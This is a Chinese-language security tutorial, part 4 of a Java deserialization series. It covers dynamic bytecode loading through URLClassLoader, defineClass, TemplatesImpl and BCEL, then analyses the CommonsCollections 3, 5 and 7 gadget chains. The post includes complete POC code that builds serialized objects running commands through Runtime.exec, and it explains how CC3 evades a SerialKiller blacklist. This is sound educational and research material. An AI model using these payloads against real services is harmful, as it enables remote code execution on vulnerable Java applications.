目录

Java反序列化漏洞系列-4

Java反序列化漏洞系列-4

1 Java 动态加载字节码

1.1 字节码

严格来说,Java 字节码其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储 在 .class 文件中。

众所周知,不同平台、不同 CPU 的计算机指令有差异,但因为 Java 是一门跨平台的编译型语言,所以这些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台的 JVM 虚拟机中。

1.2 利用 URLClassLoader 加载远程 class 文件

利用 Java 的 ClassLoader 来用来加载字节码文件最基础的方法。嘉文主要说明 URLClassLoader。正常情况下,Java 会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,而这个基础路径有分为三种情况:

  • URL 未以斜杠 / 结尾,则认为是一个 JAR 文件,使用 JarLoader 来寻找类,即为在 Jar 包中寻找 .class 文件
  • URL 以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class 文件
  • URL 以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。

使用 HTTP 协议来测试,从远程 HTTP 服务器上加载 .class 文件:

ClassLoader.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package com.geekby.javavuln;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class Main {

    public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://localhost:8000/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("Hello");
        Method f = c.getMethod("test");
        f.invoke(null, null);
    }
}

Hello.java

1
2
3
4
5
public class Hello {
    public static void test() {
        System.out.println("test");
    }
}

执行:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108301747883.png-water_print

成功请求到 /Hello.class 文件,并执行了文件里的字节码,输出了「test」。

所以,如果攻击者能够控制目标 Java ClassLoader 的基础路径为一个 http 服务器,则可以利用远程加载的方式执行任意代码了。

1.3 利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用:

  • ClassLoader#loadClass
  • ClassLoader#findClass
  • ClassLoader#defineClass

其中:

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础 URL 指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar 包或远程 http 服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类

因此,真正核心的部分其实是 defineClass ,其决定了如何将一段字节流转变成一个 Java 类,Java 默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的 C 语言代码中。

通过简单的代码示例,演示 defineClass 加载字节码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class defineClassDemo {
    public static void main(String[] args) throws Exception{
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);

        // 读取字节码并进行 base64 编码
        byte[] b = Files.readAllBytes(Paths.get("Hello.class"));
        String code = Base64.getEncoder().encodeToString(b);

        // base64 解码
        byte[] byteCode = Base64.getDecoder().decode(code);
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", byteCode, 0, byteCode.length);
        Method m = hello.getMethod("test", null);
        m.invoke(null, null);
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108301930989.png-water_print

信息
defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的 static 块中,在 defineClass 时也无法被直接调用到。所以,如果要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是常用的一个攻击链 TemplatesImpl 的基石。

1.4 利用 TemplatesImpl 加载字节码

前面提到过,开发者不会直接使用到 defineClass 方法,但是,Java 底层还是有一些类用到了它,如:TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader ,这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java 中默认情况下,如果一个方法没有显式声明作用域,其作用域为 default。因此,这里被重写的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

TransletClassLoader#defineClass() 向前追溯一下调用链:

1
2
3
4
5
TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#defineTransletClasses() 
-> TransletClassLoader#defineClass()

追到最前面两个方法 TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer() ,这两者的作用域是 public,可以被外部调用。尝试用 newTransformer() 构造一个简单的 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception {
    String code = "...";
    byte[] byteCode = Base64.getDecoder().decode(code);
  
    TemplatesImpl obj = new TemplatesImpl();
  	// _bytecodes 是由字节码组成的数组
    Class c = TemplatesImpl.class;
    Field _bytecodes = c.getDeclaredField("_bytecodes");
    _bytecodes.setAccessible(true);
    _bytecodes.set(obj, new byte[][]{byteCode});
  
    // _name 可以是任意字符串,只要不为 null 即可
    Field _name = c.getDeclaredField("_name");
    _name.setAccessible(true);
    _name.set(obj, "HelloTemplatesImpl");
    
    // 固定写法
    Field _tfactory = c.getDeclaredField("_tfactory");
    _tfactory.setAccessible(true);
    _tfactory.set(obj, new TransformerFactoryImpl());
  
    obj.newTransformer();
}

但是,TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。需要构造一个特殊的类:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class HelloTemppaltesImpl extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public HelloTemppaltesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108310934564.png-water_print

在多个 Java 反序列化利用链,以及 fastjson、jackson 的漏洞中,都曾出现过 TemplatesImpl 的身影。

1.5 利用 BCEL ClassLoader 加载字节码

BCEL 的全名为 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

通过 BCEL 提供的两个类 RepositoryUtility 来利用:用于将一个 Java Class 先转换成原生字节码,当然这里也可以直接使用 javac 命令来编译 java 文件生成字节码;Utility 用于将原生的字节码转换成 BCEL 格式的字节码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;

public class BCELdemo {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(evil.Hello.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
    }
}

BCEL ClassLoader 用于加载这串特殊的 bytecode,并可以执行其中的代码:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108310956413.png-water_print

2 CommonsCollections 3 Gadget 分析

在 CC1 中,利用 TransformedMap 来执行任意方法,上一节中提到过,利用 TemplatesImpl 执行字节码,可以将两者合并,构造出如下 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.geekby.cc3test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "poc");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

但是,在 ysoserial 中的 CC3 中,并没有用到 InvokerTransformer

SerialKiller 是一个 Java 反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,可以看到其给出了最初的黑名单:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311040425.png-water_print

这个黑名单中 InvokerTransformer 赫然在列,也就切断了 CommonsCollections1 的利用链。ysoserial 随后增加了新的 Gadgets,其中就包括 CommonsCollections3

CommonsCollections3 的目的很明显,就是为了绕过一些规则对 InvokerTransformer 的限制。CommonsCollections3 并没有使用到 InvokerTransformer 来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,免去了使用 InvokerTransformer 手工调用 newTransformer() 方法这一步:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311046468.png-water_print

当然,缺少了 InvokerTransformer,TrAXFilter 的构造方法也是无法调用的。通过利用 org.apache.commons.collections.functors.InstantiateTransformer 中的 InstantiateTransformer 调用构造方法。

所以,最终的目标是,利用 InstantiateTransformer 来调用到 TrAXFilter 的构造方法,再利用其构造方法里的 templates.newTransformer() 调用到 TemplatesImpl 里的字节码。

构造的 Transformer 调用链如下:

1
2
3
4
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};

最终也是可以成功触发的:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311053530.png-water_print

警告
这个 POC 和 CC1 也有同样的问题,就是只支持 Java 8u71 及以下版本。

完整的反序列化过程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.geekby.cc3test;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Original {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value","Geekby");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object res = construct.newInstance(Retention.class, outerMap);
			// 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(res);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }



    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

3 CommonsCollections 5 Gadget 分析

CC5 的调用链:

1
2
3
4
5
6
7
8
->BadAttributeValueExpException.readObject()
      ->TiedMapEntry.toString()
          ->TiedMapEntry.getValue()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                    ->ConstantTransformer.transform()
                            ->InvokerTransformer.transform()
                                ->…………

这里又回到了去触发 LazyMap.get(),只不过改变了 LazyMap.get() 的触发方式,不再借助 AnnotationInvocationHandler 的反序列化触发。

在 TiedMapEntry 类中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class TiedMapEntry implements Entry, KeyValue, Serializable {

    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    //构造函数,显然我们可以控制 this.map 为 LazyMap
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    //toString函数,注意这里调用了 getValue()
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

    //跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
    public Object getValue() {
        return this.map.get(this.key);
    }

}

综上,通过 TiedMapEntry.toString() 可触发 LazyMap.get()

通过交叉引用搜索,是否存在一个类可以在反序列化过程中触发 TiedMapEntry.toString(),最终找到了 BadAttributeValueExpException

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class BadAttributeValueExpException extends Exception   {
    private Object val;     //这里可以控制 val 为 TiedMapEntry

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();    //这里是关键点,调用toString()
        } else {
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

最终实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        //BadAttributeValueExpException 实例
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        //反射设置 val
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }
}

4 CommonsCollections 7 Gadget 分析

cc7 调用链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
  ->Hashtable.readObject()
      ->Hashtable.reconstitutionPut()
            ->AbstractMapDecorator.equals
                ->AbstractMap.equals()
                  ->LazyMap.get()
                    ->ChainedTransformer.transform()
                      ->ConstantTransformer.transform()
                        ->InvokerTransformer.transform()
                          ->…………

LazyMap 之后的利用链也和 CC1 相同,前面用了新的链进行触发。这里仍然是想办法触发 LazyMap.get()。在 Hashtable 的 readObject 中,遇到 hash 碰撞时,通过调用一个对象的 equals 方法对比两个对象,判断是否为真的 hash 碰撞。这里的 equals 方法是 AbstractMapequals 方法。

4.1 AbstractMap

由于 LazyMap 没有实现 equals 方法,所以调用其 equals 方法即调用其父类

AbstractMapDecoratorequals 方法:

1
2
3
4
5
6
public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

即调用其所包装的 mapequals 方法。

如果这里包装的是 HashMap 而其没有实现 equals 方法,就会调用其父类 AbstractMapequals方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public boolean equals(Object o) {
	...
    Map<K,V> m = (Map<K,V>) o;
	...
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
	...
}

此处调用了参数的 get 方法,可以此触发 LazyMap.get 从而完成利用。

4.2 Hashtable

这里使用 Hashtable 来充当反序列化链的触发点,其反序列化过程中调用了自身的 reconstitutionPut 方法,Hashtable 类的关键代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
       ………………
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();

            //reconstitutionPut方法
            reconstitutionPut(newTable, key, value);
        }
        this.table = newTable;
    }


//跟进 reconstitutionPut 方法
    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
    throws StreamCorruptedException
{
    ...
    int hash = hash(key);
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    Entry<K,V> e = tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

而这里想要触发 equals 方法需要满足两个条件:

  • tab[index] != null:即相同的 index 应出现两次
  • e.hash == hash:即两个相同的 index 对应的 Entry 的键对应的 hash 相同

这里会发现 hash 相同则 index 一定相同,所以可能会认为只要设置两个相同的 key 使得 hash 相同即可。

相同的 key 确实可以触发 equals,但是回到一开始的 LazyMap.get 的触发条件,get 需要接收一个不存在的 key 才可以触发 transform,所以需要找到两个值不相等但 hash 相等的变量。

这里 ysoserial 用了字符串,查看 String.hashCode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

这里只需要找到四个字符分成两个不同的组(AB、CD),使得 31 * A + B == 31 * C + D 即可。ysoserial 中使用了 yy 和 zZ,但这里还存在很多种可能。

4.3 POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {

    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

        Transformer[] fakeTransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //LazyMap实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");


        //通过反射设置真的 ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
        lazyMap2.remove("yy");

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

}

参考

phith0n Java 漫谈系列

Java反序列化漏洞原理解析

Java反序列化漏洞从入门到关门

从0开始学Java反序列化漏洞

深入理解 JAVA 反序列化漏洞

Java反序列化利用链补全计划

Commons-Collections 利用链分析

CC链 1-7 分析

Java 安全学习 Day2 – ysoserial CC 系列